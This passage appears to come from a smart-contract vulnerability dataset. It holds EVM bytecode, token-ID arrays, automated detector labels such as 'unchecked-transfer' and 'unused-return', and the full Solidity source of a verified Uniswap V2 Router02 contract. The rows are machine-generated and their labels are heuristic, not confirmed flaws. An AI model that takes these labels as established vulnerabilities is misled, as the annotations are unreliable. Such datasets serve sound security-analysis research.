1715611d8f57611d8f6123ab565b81604052809350858152868686011115611da857600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dd957600080fd5b919050565b80358015158114611dd957600080fd5b600060208284031215611e0057600080fd5b6111b882611dc2565b60008060408385031215611e1c57600080fd5b611e2583611dc2565b9150611e3360208401611dc2565b90509250929050565b600080600060608486031215611e5157600080fd5b611e5a84611dc2565b9250611e6860208501611dc2565b9150604084013590509250925092565b60008060008060808587031215611e8e57600080fd5b611e9785611dc2565b9350611ea560208601611dc2565b925060408501359150606085013567ffffffffffffffff811115611ec857600080fd5b8501601f81018713611ed957600080fd5b611ee887823560208401611d4c565b91505092959194509250565b60008060408385031215611f0757600080fd5b611f1083611dc2565b9150611e3360208401611dde565b60008060408385031215611f3157600080fd5b611f3a83611dc2565b946020939093013593505050565b600060208284031215611f5a57600080fd5b6111b882611dde565b600060208284031215611f7557600080fd5b81356111b8816123c1565b600060208284031215611f9257600080fd5b81516111b8816123c1565b600060208284031215611faf57600080fd5b813567ffffffffffffffff811115611fc657600080fd5b8201601f81018413611fd757600080fd5b61147e84823560208401611d4c565b600060208284031215611ff857600080fd5b5035919050565b600081518084526120178160208601602086016122bd565b601f01601f19169290920160200192915050565b60008451602061203e8285838a016122bd565b8551918401916120518184848a016122bd565b8554920191600090600181811c908083168061206e57607f831692505b85831081141561208c57634e487b7160e01b85526022600452602485fd5b8080156120a057600181146120b1576120de565b60ff198516885283880195506120de565b60008b81526020902060005b858110156120d65781548a8201529084019088016120bd565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061212290830184611fff565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561216457835183529284019291840191600101612148565b50909695505050505050565b6020815260006111b86020830184611fff565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561226e5761226e612353565b500190565b60008261228257612282612369565b500490565b60008160001904831182151516156122a1576122a1612353565b500290565b6000828210156122b8576122b8612353565b500390565b60005b838110156122d85781810151838201526020016122c0565b8381111561102d5750506000910152565b600181811c908216806122fd57607f821691505b6020821081141561231e57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561233857612338612353565b5060010190565b60008261234e5761234e612369565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610b1957600080fdfea264697066735822122043507515480883fdb5177ffadb6658cc923dad0ed4b68a90d02824ec5b69082a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 22907, 2683, 22394, 2692, 20958, 2581, 2278, 2475, 2278, 2549, 2094, 2692, 4246, 9468, 2581, 2497, 2549, 2497, 24087, 11057, 17465, 17788, 2620, 2278, 24087, 2278, 2581, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 13266, 2011, 23325, 15000, 2015, 1013, 1008, 1008, 999, 5860, 19771, 5017, 999, 2122, 8311, 2031, 2042, 2109, 2000, 3443, 14924, 26340, 1010, 1998, 2001, 2580, 2005, 1996, 3800, 2000, 6570, 2111, 2129, 2000, 3443, 6047, 8311, 2006, 1996, 3796, 24925, 2078, 1012, 3531, 3319, 2023, 3642, 2006, 2115, 2219, 2077, 2478, 2151, 1997, 1996, 2206, 3642, 2005, 2537, 1012, 23325, 15000, 2015, 2097, 2025, 2022, 20090, 1999, 2151, 2126, 2065, 2005, 1996, 2224, 1997, 1996, 3642, 1012, 2008, 2108, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,678
0x972939217d84dae376470ae493330af70f260b98
/** *Submitted for verification at Etherscan.io on 2020-06-05 */ pragma solidity =0.6.6; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } contract UniswapV2Router02 is IUniswapV2Router02 { using SafeMath for uint; address public immutable override factory; address public immutable override WETH; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED'); _; } constructor(address _factory, address _WETH) public { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin ) internal virtual returns (uint amountA, uint amountB) { // create the pair if it doesn't exist yet if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) { IUniswapV2Factory(factory).createPair(tokenA, tokenB); } (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin); address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = IUniswapV2Pair(pair).mint(to); } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountToken, amountETH) = _addLiquidity( token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin ); address pair = UniswapV2Library.pairFor(factory, token, WETH); TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pair, amountETH)); liquidity = IUniswapV2Pair(pair).mint(to); // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to); (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountToken, uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this))); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override payable ensure(deadline) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return UniswapV2Library.quote(amountA, reserveA, reserveB); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) { return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn) { return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut); } function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint amountOut, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsIn(factory, amountOut, path); } } // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x73972939217d84dae376470ae493330af70f260b9830146080604052600080fdfea2646970667358221220f422ee77f758c87f3ce35cad1ca9f2e9cdc8276b56d245931cb469079d231b9e64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
